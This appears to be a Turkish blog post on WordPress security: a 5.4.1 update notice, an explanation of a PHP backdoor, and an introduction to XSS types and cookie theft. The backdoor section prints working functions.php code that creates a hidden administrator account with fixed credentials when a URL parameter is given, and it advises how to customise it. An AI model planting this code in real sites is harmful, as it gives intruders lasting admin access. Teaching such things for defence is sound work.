WordPress Güvenlik Açığı Güncellemesi

WordPress, birden fazla Siteler arası komut dosyası (XSS) güvenlik açığını gidermek için yazılımını yamaladı. XSS ve Authenticated XSS olmak üzere iki tür vardır.

WordPress, on yedi hata düzeltmesini ve yedi güvenlik açığını gideren bir güncelleme duyurdu. WordPress siteleri otomatik olarak WordPress 5.4.1 sürümüne güncelliyor.

WordPress kurulumunuzun WordPress 5.4.1 sürümüne güncellenip güncellenmediğini kontrol etmek önemlidir.

Tüm Siteler Otomatik Olarak Güncellenmez

WordPress, WordPress 3.7 ve üstü WordPress kurulumlarının otomatik olarak güncellendiğini duyurdu. Bu, 3.7’den düşük WordPress kurulumlarının otomatik olarak güncellenmediği anlamına gelir.

Resmi WordPress duyurusuna göre:

“Bu güvenlik ve bakım sürümünde 7 güvenlik düzeltmesinin yanı sıra 17 hata düzeltmesi bulunuyor. Bu bir güvenlik sürümü olduğundan, sitelerinizi hemen güncellemeniz önerilir. ”

 

Kaynak : https://wordpress.org/news/2020/04/wordpress-5-4-1/

 

WordPress Backdoor Nedir

Bugün sizlere wordpress backdoor ile wordpress sitelerine backdoor (arka kapı) olarak yeni admin eklemeden bahsedeceğim.

Yönettiğim bir wordpress sitesinde güvenlik denetimi yaparken hiç alışık olmadığım bir kod ile karşılaştım. Bu kodu detaylıca araştırırken gönderdiği girdi ile yeni bir admin oluşturduğunu fark ettim. Bu bahsettiğim kod firefox, chrome gibi normal bir web tarayıcısını kullanarak belirli bir url’ye erişiyor ve tetiklenmesi ile çok basit ama güçlü bir php betiği olduğunu farkettim.

WordPress backdoor tetiklendikten sonra, websitesinde kötü niyetli bir kullanıcının istediği zaman wordpress kurulumuna yeniden erişebilir, yönetici rolüne sahip yeni bir wordpress kullanıcısını otomatik olarak oluşturabilir. Bu yazıda backdoor oluşturan koda bir göz atacağız ve nasıl çalıştığını anlatacağım.

NOT*** : Bu makale SADECE eğitim amaçlıdır. Aslında kimsenin wordpress kurulumunda böyle bir bacdoor (arka kapı) kullanmasını önermiyorum.

WordPress Backdoor

WordPress backdoor aşağıdaki örnekte yer almaktadır. WordPress temasının function.php dosyasına eklenebilen basit bir PHP işlevidir.

<?php
add_action('wp_head', 'WordPress_backdoor');
 
function WordPress_backdoor() {
    If ($_GET['arka'] == 'kapi') {
        require('wp-includes/registration.php');
        If (!username_exists('backdooradmin')) {
            $user_id = wp_create_user('backdooradmin', '123123123');
            $user = new WP_User($user_id);
            $user->set_role('administrator');
        }
    }
}
?>

WordPress Backdoor, https://veomer.com?arka=kapi URL’sine erişerek tetiklenebilir ( veomer.com sitesinin function.php dosyasına üstte yer alan kod eklenmişse – Denemeyin eklemedim 🙂 .. )

 

WordPress Backdoor Nasıl Çalışır ?

Yukarıdaki örneği kullanarak, wordpress backdoor tetiklendiğinde, aşağıdaki bilgiler ile yeni bir wordpress yönetici hesabı oluşturur:

Kullanıcı Adı : backdooradmin

Şifre : 123123123

 

WordPress Backdooru Kullanma

Herhangi bir nedenden dolayı wordpress backdooru kullanmak isterseniz eğer yukarıdaki örnekte belirtilenlerden farklı bir URL kullanın. ( GET değişkenini 5.satırdaki değeri değiştirerek ve ayrıca güçlü bir kullanıcı adı, şifre kullanın onu da 8.satırdaki bilgileri kullanarak..

NOT*** : Tekrar belirtmek isterim ki bu backdoor kullanmanızı önermiyorum. Bu bilgileri sadece eğitim ve güvenlik amaçlı paylaşıyorum. Birinin böyle bir backdoor oluşturması için wordpress dosyalarınızda editleme yetkisi olması lazım. Genellikle ftp bilgileri ile bu girişim yapılabilir. Herhangi bir güvenlik tehdidi ile karşı karşıya iseniz tema dosyanızın içerisinde yer alan function.php dosyasını kontrol etmeyi unutmayınız !

WordPress güvenliği konusunda profesyonel desteğe ihtiyacınız varsa : omer@vegory.com adresinden bana ulaşabilirsiniz.

XSS Nedir ?

Xss (Cross Site Scripting) JavaScript ve HTML filtrelerinin eksik olduğu zamanlarda kullanıcının girdileri ile oluşan bir zaafiyettir.

Tam kelime anlamı olarak ise: siteler arası komut çalıştırma / çapraz kod çalıştırma olarak bilinen genelde web uygulamalarında rastlanan, kullanıcıların (saldırganların) tarayıcısında zarar verecek kodları ekleme yaparak oluşan bir saldırıdır.

Javascript, Html ve Css tarayıcı tarafından yorumlanan dillerden olduğu için girdi edilen kod doğrudan diğer kullanıcıları da etkileyebilir ve sisteme ciddi zararlar verebilir !

XSS 3 FARKLI DALDA İNCELENİR

1-> Reflected XSS

2-> DOM Based XSS

3-> Stored XSS

REFLECTED XSS NEDİR ?

Giriş alanlarına veya url alanlarına yapılan xss saldırısıdır.Bu saldırı sadece saldırgan tarafından görülür ve diğer kullanıcılar bu saldırıyı göremezler. Genellikle reflected xss saldırılarında girdiler veritabanına yazılmaz.

Örnek olarak herhangi bir girdi yazılabilecek url linkine : <script>alert(1)</script> kodu yazarak “1” diye ekrana hata alırız.

DOM BASED XSS NEDİR ?

Dom (Document Object Model) “Belge Nesnesi Modeli” olarak geçmektedir. Yani bir belge içerisinde bulunan nesnelerden kaynaklıdır diyebiliriz bu xss saldırısına. Biraz daha açmak gerekirse: kullandığımız tarayıcılar internetteki sayfaları bil belge olarak görür ve bu sayfaların (belgelerin) içerisinde yer aldığı tüm elemanları da nesne olarak görür. Bu nesnelere örnek vermek gerekirse: resimler, yazılar, formlar, testler gibi tüm elemanlar… Evet bu dom xss bu nesnelere müdahale etmemizi sağlar.

Ancak şunu bilmek de fayda var: DOM tabanlı xss saldırı esnasında HTML kaynağı ve dönen cevap tamamen aynı olacaktır. Çünkü dom xss sayfada bulunmaz – nesne tabanlı xss – sadece runtime esnasında veya sayfaların dom’u incelenirken gözlemlenebilmektedir..

STORED XSS NEDİR ?

Stored xss türünde ise kullanıcının (saldırganın) girdiği zararlı kod veritabanında veya bir sayfada tutulur. Bu kodlar sonrasında bu sayfalar ziyaret edildiğinde çalıştırılmış olur. EN ZARARLI XSS TÜRÜDÜR. Çünkü chrome, firefox gibi bir çok tarayıcı default ayarlarında gerekli önlemleri alamaz. Bu xss türünün genellikle websitelerinin iletişim, kayıt, mesaj formlarında bulunduğunu unutmayalım.

NOT*** : Xss türlerini 2’ye ayıran uzmanlarda vardır. Anlık değişiklik gösteren ya da database, dosya gibi yerlerde tutulan olarak. Ama ben olayın tam anlamıyla anlanması için 3’e ayrılması taraftarıyım.

Xss türlerinden bahsettiğimize göre olayın daha detaylı ve mantığının kavranması gerektiği için Xss ile cookie çalmakdan bahsedeceğim.

XSS İLE COOKİE ÇALMA 

Yazımızın başında da söylediğim gibi xss ile javascript çalıştırabiliriz. Yani javascript ile uygulamada-websitesinde neye erişim varsa oraya müdahale edebiliriz. Buna document.cookie nesnesi en iyi örnektir…

** adresine girip üye olduğunuz takdir de size bir çok payloadı hazır halde verir. Burada verdiği “Basic XSS payload” ile bir çok bilgiye ulaşabiliriz. Örnek olması amacıyla bu kodu filtrelenmemiş bir yere atıp yönetici tarafından görüntülendiğin de – çalıştığında – anlık görüntü, cookieler, html kaynak kodu gibi birçok değere ulaşabiliriz ve yönetici yetkisini alabiliriz.

Ama unutulmaması gerekir ki bu site sadece test amaçlı, eğitim amaçlı açılmıştır. Zararlı saldırı girişlerinde üyeliğiniz silinir..

Xss konusuna genel bir bakış yaptığımızı düşünüyorum bu konuda. İlerleyen günler de daha detaylı makaleleri paylaşacağım. Takip de kalın..

Daha detaylı bilgilendirme için kaynaklar: